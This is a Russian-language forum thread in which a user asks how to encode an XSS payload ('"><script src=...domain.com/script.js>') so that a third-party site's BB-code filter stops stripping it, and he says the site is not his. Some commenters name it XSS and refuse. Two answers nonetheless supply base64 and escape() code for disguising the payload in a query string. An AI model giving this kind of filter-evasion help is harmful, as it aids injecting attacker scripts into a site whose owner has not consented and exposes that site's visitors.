Как зашифровать ссылку?

Question

[NO1nam]

Можно ли зашифровать весь это код ?

"><script scr=http://domain.com/script.js></script>

вместе с "><script scr=

все это буду использовать в на сайте

https://site.com/vasea?id="><script scr=http://domain.com/script.js></script>

Comments

[irishmann]

В каком смысле зашифровать? Для чего это нужно?

[NO1nam]

irishmann, сайт удаляет "><script если вставить это в их BB-коды по этому хочу все это шифровать

[lJser]

Script kiddie?

[irishmann]

NO1nam, https://site.com/ твой сайт?

[NO1nam]

irishmann, нет

[Сергей Соколов]

Начните с конца: как будете расшифровывать?

[irishmann]

NO1nam, тогда никак))

[NO1nam]

Сергей Соколов, Мне не нужно расшифровать мне надо отправить запрос но все это вставить в BB-коды сайта

[url=vasea?id="><script scr=http://domain.com/script.js></script>]test[/url]

если оставить так сайт автоматический удаляет
и остаётся так

[url=vasea?id="><  scr=http://domain.com/ .js></ >]test[/url]

[Сергей Соколов]

NO1nam, чтобы потом что произошло? На загруженной странице оказался ваш скрипт? От этого уже умно защитились.

[NO1nam]

Сергей Соколов, да нужно что бы мой скрипт оказалось в нужной странице

[Сергей Соколов]

NO1nam, от этого защитились. Вашим скриптам не рады.

[Толстый Лорри]

Это называется XSS.

[s60]

какой смысл шифровать строку, если функция кодирования/декодирования тут же на странице?

[Karpion]

Антон, ну, чтобы при простом просмотре этого не было видно. Или как защиту от простых ботов, сканирующих сайты.

Answer 1

[twobomb]

function b64EncodeUnicode(str) {
    return btoa(encodeURIComponent(str).replace(/%([0-9A-F]{2})/g,
        function toSolidBytes(match, p1) {
            return String.fromCharCode('0x' + p1);
    }));
}
function b64DecodeUnicode(str) {
    return decodeURIComponent(atob(str).split('').map(function(c) {
        return '%' + ('00' + c.charCodeAt(0).toString(16)).slice(-2);
    }).join(''));
}
console.log(b64EncodeUnicode('"><script scr=http://domain.com/script.js></script>'));//IiZndDsmbHQ7c2NyaXB0IHNjcj1odHRwOi8vZG9tYWluLmNvbS9zY3JpcHQuanMmZ3Q7Jmx0Oy9zY3JpcHQmZ3Q7
console.log(b64DecodeUnicode('IiZndDsmbHQ7c2NyaXB0IHNjcj1odHRwOi8vZG9tYWluLmNvbS9zY3JpcHQuanMmZ3Q7Jmx0Oy9zY3JpcHQmZ3Q7'));//"><script scr=http://domain.com/script.js></script>

Comments

[NO1nam]

Что-то не очень понял как работает и куда вести ссылку

[twobomb]

NO1nam,
Функции b64EncodeUnicode передаете ссылки, получаете зашифрованный текст.
Функции b64DecodeUnicode передает зашифрованный текст, получаете сслыку

[NO1nam]

twobomb, а в адрес как использовать его ? data:text/javascript;base64,IiZndDsmbHQ7c2NyaXB0IHNjcj1odHRwOi8vZG9tYWluLmNvbS9zY3JpcHQuanMmZ3Q7Jmx0Oy9zY3JpcHQmZ3Q7 так ?

[twobomb]

NO1nam, ну засовываешь в адрес в кверистринг или куда там тебе нужно и всё
data:text/javascript;base64, можно откинуть, только на моменте декодирования опять вернуть обратно, он не меняется

[NO1nam]

twobomb, вставил

http://site.com/vasea?id=IiZndDsmbHQ7c2NyaXB0IHNjcj1odHRwOi8vZG9tYWluLmNvbS9zY3JpcHQuanMmZ3Q7Jmx0Oy9zY3JpcHQmZ3Q7

(мой код который шифровал ) и он нечего не выполнят

[twobomb]

NO1nam, всмысле, а что он должен выполнять? Вопрос был как зашифровать, я показал как. Всё шифруется, всё работает.

[profesor08]

twobomb, не учи людей плохому, твой вариант избыточный и будет работать до тех пор, пока не появится в строке base64 символ +, который будет успешно переведен браузером в пробел.

Answer 2

[profesor08]

const url = `https://site.com/vasea?id=${escape(`"><script scr=http://domain.com/script.js></script>`)}`;